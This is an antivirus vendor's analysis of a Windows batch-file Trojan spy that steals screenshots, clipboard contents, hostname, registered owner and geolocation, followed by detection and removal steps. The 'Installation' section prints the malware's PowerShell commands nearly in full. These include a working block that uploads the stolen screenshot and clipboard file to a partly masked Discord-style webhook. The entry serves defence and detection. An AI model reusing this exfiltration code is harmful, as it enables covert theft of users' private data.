Analysis by: Raighen Sanchez

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan Spy

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It connects to a website to send and receive information. It does not have any backdoor routine.

However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 4,316 bytes
File Type: BAT
Memory Resident: No
Initial Samples Received Date: 01 Aug 2025
Payload: Connects to URLs/IPs, Collects system information, Steals information

Arrival Details

This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan Spy drops the following files:

  • %User Temp%\screenshot.png → captured screenshot
  • %User Temp%\clipboard_history.txt → clipboard content
  • %User Temp%\tmp_geo.json → deleted afterwards

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

  • reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "RegisteredOwner"
  • powershell -command "(Invoke-WebRequest -Uri 'https://{BLOCKED}-api.com ').Content"
  • powershell -NoProfile -Command "(Get-Content '%User Temp%\tmp_geo.json' | ConvertFrom-Json).country"
  • curl -s "https://{BLOCKED}-api.com /json/{public ip address}" > "%temp%\tmp_geo.json"
  • powershell -Command "try { Get-Clipboard -Raw } catch { '' }"
  • powershell -NoProfile -Command "Add-Type -AssemblyName System.Windows.Forms, System.Drawing;" "$bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds;" "$bmp = New-Object Drawing.Bitmap $bounds.Width, $bounds.Height;" "$graphics = [Drawing.Graphics]::FromImage($bmp);" "$graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.Size);" "$bmp.Save('%User Temp%\screenshot.png', [Drawing.Imaging.ImageFormat]::Png);"
  • powershell -NoProfile -Command "$webhookUrl = 'https://{BLOCKED}d.com/api/webhooks/1393566442842226800/eDTSlOpqEFMYJqCGMgWD7lCqzk1theJLOgIB0Rv2nwyzDx-WvPoNnFTcr5BDnHXBOuu0 ';" "$screenshotPath = '%User Temp%\screenshot.png';" "$clipboardPath = '%User Temp%\clipboard_history.txt';" "$payload = @{embeds = @(@{title='System Information'; color=3447003; fields=@(" "@{name='IP Address'; value=''; inline=$false}," "@{name='Country'; value=''; inline=$false}," "@{name='Registered Owner'; value='{username} '; inline=$false}," "@{name='Computer Name'; value='{hostname}'; inline=$false}," "@{name='Clipboard History'; value='See attached clipboard_history.txt'; inline=$false}" "); image=@{url='attachment://screenshot.png'}})};" "$json = $payload | ConvertTo-Json -Depth 6;" "$boundary = [System.Guid]::NewGuid().ToString();" "$LF = \"`r`n\";" "$body = New-Object System.IO.MemoryStream;" "$writer = New-Object System.IO.StreamWriter($body);" "$writer.Write(\"--$boundary$LF\");" "$writer.Write('Content-Disposition: form-data; name=\"payload_json\"' + \"$LF\");" "$writer.Write('Content-Type: application/json' + \"$LF$LF\");" "$writer.Write($json + \"$LF\");" "$writer.Write(\"--$boundary$LF\");" "$writer.Write('Content-Disposition: form-data; name=\"file1\"; filename=\"screenshot.png\"' + \"$LF\");" "$writer.Write('Content-Type: image/png' + \"$LF$LF\");" "$writer.Flush();" "$fileBytes = [System.IO.File]::ReadAllBytes($screenshotPath);" "$body.Write($fileBytes, 0, $fileBytes.Length);" "$writer.Write(\"$LF--$boundary$LF\");" "$writer.Write('Content-Disposition: form-data; name=\"file2\"; filename=\"clipboard_history.txt\"' + \"$LF\");" "$writer.Write('Content-Type: text/plain; charset=utf-8' + \"$LF$LF\");" "$writer.Flush();" "$clipBytes = [System.IO.File]::ReadAllBytes($clipboardPath);" "$body.Write($clipBytes, 0, $clipBytes.Length);" "$writer.Write(\"$LF--$boundary--$LF\");" "$writer.Flush();" "$body.Position = 0;" "$headers = @{ 'Content-Type' = \"multipart/form-data; boundary=$boundary\" };" "Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $body -Headers $headers"

Propagation

This Trojan Spy does not have any propagation routine.

Backdoor Routine

This Trojan Spy connects to the following websites to send and receive information:

  • https://{BLOCKED}d.com/api/webhooks/1393566442842226800/eDTSlOpqEFMYJqCGMgWD7lCqzk1theJLOgIB0Rv2nwyzDx-WvPoNnFTcr5BDnHXBOuu0

It does not have any backdoor routine.

Rootkit Capabilities

This Trojan Spy does not have rootkit capabilities.

Information Theft

This Trojan Spy gathers the following data:

  • Screenshot
  • Clipboard History
  • Public IP Address
  • Windows Registered Owner
  • Hostname
  • Geolocation
  • System GUID

Other Details

This Trojan Spy connects to the following URL(s) to get the affected system's IP address:

  • https://{BLOCKED}ify.org
  • https://{BLOCKED}-api.com

It does the following:

  • It captures the screenshot of the system and saves it to a file.

However, as of this writing, the said sites are inaccessible.

It does not exploit any vulnerability.

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 20.390.04
FIRST VSAPI PATTERN DATE: 12 Aug 2025
VSAPI OPR PATTERN File: 20.391.00
VSAPI OPR PATTERN Date: 13 Aug 2025

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete this file

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  • %User Temp%\screenshot.png
  • %User Temp%\clipboard_history.txt
  • %User Temp%\tmp_geo.json

Step 4

Scan your computer with your Trend Micro product to delete files detected as TrojanSpy.BAT.DISHOOK.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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